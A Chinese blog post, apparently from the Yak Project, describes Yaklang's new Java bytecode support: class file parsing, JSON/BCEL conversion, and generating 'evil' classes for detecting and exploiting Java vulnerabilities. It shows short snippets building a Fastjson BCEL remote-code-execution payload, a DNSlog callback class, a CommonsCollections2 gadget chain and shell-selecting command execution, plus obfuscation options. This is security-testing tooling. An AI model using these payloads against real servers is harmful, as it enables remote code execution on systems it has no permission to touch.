基础设施:Yaklang Java字节码能力支持
2022-8-5 17:34:34 Author: Yak Project(查看原文) 阅读量:22 收藏

0x0背景

长期以来,Java漏洞的检测与利用都离不开Java环境,所以Java漏洞相关的POC或EXP几乎都是基于Java编写。(一些特殊场景也可以将class或序列化的对象以二进制的形式储存,使用http请求的header作为参数,来脱离对Java环境的依赖。)

Java代码执行漏洞一般是通过加载类的静态代码块实现,所以需要动态修改类名。使用Header作为命令的参数会有明显的特征,且有长度限制,所以最好将需要执行的命令硬编码到class里。基于且不限于以上的原因,脱离java环境是安全融合避不开的路障。

除了类加载的漏洞利用,将Gadget与Class组合,得到的payload还可适用于各种反序列化漏洞利用场景。

0x1解析Java字节码

Yaklang 已经支持对Java序列化数据的解析与生成,可以修改一些对象的属性值。但还不够,例如动态修改类名、修改参数、变量混淆等等,都可以通过解析Java字节码实现。

Class文件是有固定结构的,各部分结构体之间没有分隔符,而是通过固定长度或顺序以区分不同结构体。Class文件包含的结构体如下。类型的u1,u2等表示1字节的无符号数、2字节的无符号数,其它的是复合结构体。

类型名称说明长度数量
u4magic魔数,识别Class文件格式4个字节1
u2minor_version副版本号(小版本)2个字节1
u2major_version主版本号(大版本)2个字节1
u2constant_pool_count常量池计数器2个字节1
cp_infoconstant_pool常量池表n个字节constant_pool_count-1
u2access_flags访问标识2个字节1
u2this_class类索引2个字节1
u2super_class父类索引2个字节1
u2interfaces_count接口计数器2个字节1
u2interfaces接口索引集合2个字节interfaces_count
u2fields_count字段计数器2个字节1
field_infofields字段表n个字节fields_count
u2methods_count方法计数器2个字节1
method_infomethods方法表n个字节methods_count
u2attributes_count属性计数器2个字节1
attribute_infoattributes属性表n个字节attributes_count

0x1.1解析Java字节码可以做什么?

根据Class文件结构,解析为Go结构体,保证数据的不丢失就可以再转回字节码。通过Go结构体不仅可以实现对字节码的修改、还可以作为中间结构,可以实现Json、BECL、Bytes数据互转。 

常量池是Class结构中的一个重要组成,通过对常量池的修改,可以实现动态的类名、对变量名的混淆,甚至去控制代码逻辑。

0x1.2字节码转Json

如图是将test类转json后的样子,JavaClass结构清晰可见。对json修改后,可转成字节码,实现了字节码的可读、可改。

0x0.3字节码转Bcel

字节码与BCEL之间可以互相转换,一些场景下可能用到BCEL,如Fastjson,使用Yaklang可轻松实现漏洞检测、利用。

// 生成fastjson
// GenerateSpringEchoEvilClassObject可选参数// springHeader #header回显的key、value// springParam #命令参数// springRuntimeExecAction #命令执行(默认只回显不执行)// springEchoBody #在body回显(默认在header回显)classObj = yso.GenerateSpringEchoEvilClassObject(yso.springParam("ls"),yso.springEchoBody(),yso.springRuntimeExecAction())bcelStr,err = yso.ToBcel(classObj)printf("{\"@type\":\"org.apache.commons.dbcp.BasicDataSource\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\"%s\"}", bcelStr)// 输出:// {"@type":"org.apache.commons.dbcp.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"$$BCEL$$$l$8b$I$A$....

测试payload:

0x2动态生成Class

Yaklang内置了一些常用的class(还在补充中),yso.GenerateXXXEvilClassObject系列方法可以生成ClassObject结构体,通过参数可以控制类的生成。如GenerateSpringEchoEvilClassObject的可选参数springEchoBody可设置在body回显。除了这种私有的参数,还有下面这些公有参数控制类的生成。

// evilClassName   #设置类名(默认随机类名)// useConstructorExecutor  #通过构造函数命令执行(默认使用静态代码块)// obfuscationClassConstantPool #对变量名进行混淆(默认开启)

下面是一些内置的类

Dnslog

Dnslog是漏洞检测常用的方式,但很多payload是通过命令执行,再通过ping触发dnslog。这种方式可能会由于环境问题或杀软拦截命令执行导致检测失败,所以提供dnslog类,通过java的Inet4Address触发Dnslog。

// 生成class字节码classObj = yso.GenerateDNSlogEvilClassObject("dnslog.com")classBytes,_ = yso.ToBytes(classObj)// 生成CC2的paylaodserObj,_ = yso.GetCommonsCollections2JavaObject(yso.useDNSLogEvilClass("dnslog.com"))serBytes,_ = yso.ToBytes(serObj)

RuntimeExec

RuntimeExec执行命令,通过下面的方式自动选择shell

if (File.separator.equals("/")) {    var1 = new String[]{"/bin/sh", "-c", cmd};} else {    var1 = new String[]{"cmd", "/C", cmd};}

Empty SimplePrincipalCollection

可用于shiro漏洞检测。

XXXEcho

Tomcat/Weblogic/Spring等中间件、框架的回显。

0x3总结

完成Java字节码的能力支持后,基本可以做到完全脱离Java环境,通过Yaklang的几行代码轻松实现Java相关漏洞的检测和利用,满足各种需求。后面我们要做的就是通过图形界面构造Payload,以可视化的方式,点点点生成序列化Payload、生成Yak代码。

更新通知

Yaklang 1.0.17

1. 修复 Web Fuzzer 对443 端口强制启用 HTTPS 的不恰当处理 @奶权

2. 修复端口扫描中直接输入 URL/Domain:Port 的不恰当处理 @TimwhiteZ @sharecast

3.修复关闭 web 指纹识别的情况下,不恰当的端口开放状态处理 @sharecast

4. 新增 RPA, 支持一定程度上的浏览器爬虫操作 @bcy2007

5. 优化 yso 对外开放接口,新增链 @z3

6.新增 facades 反连服务器的 yak 接口 @z3

7.Nuclei 依赖升级到 2.7.x


文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0MTM4NzIxMQ==&mid=2247489204&idx=1&sn=6e640f5ca64ead919c319a9ebf25a3ea&chksm=c2d26a10f5a5e3065310b89c690ee4a0eab1fd78e2ddc17c71907babf3b7bd85073a78f6d20b#rd
如有侵权请联系:admin#unsafe.sh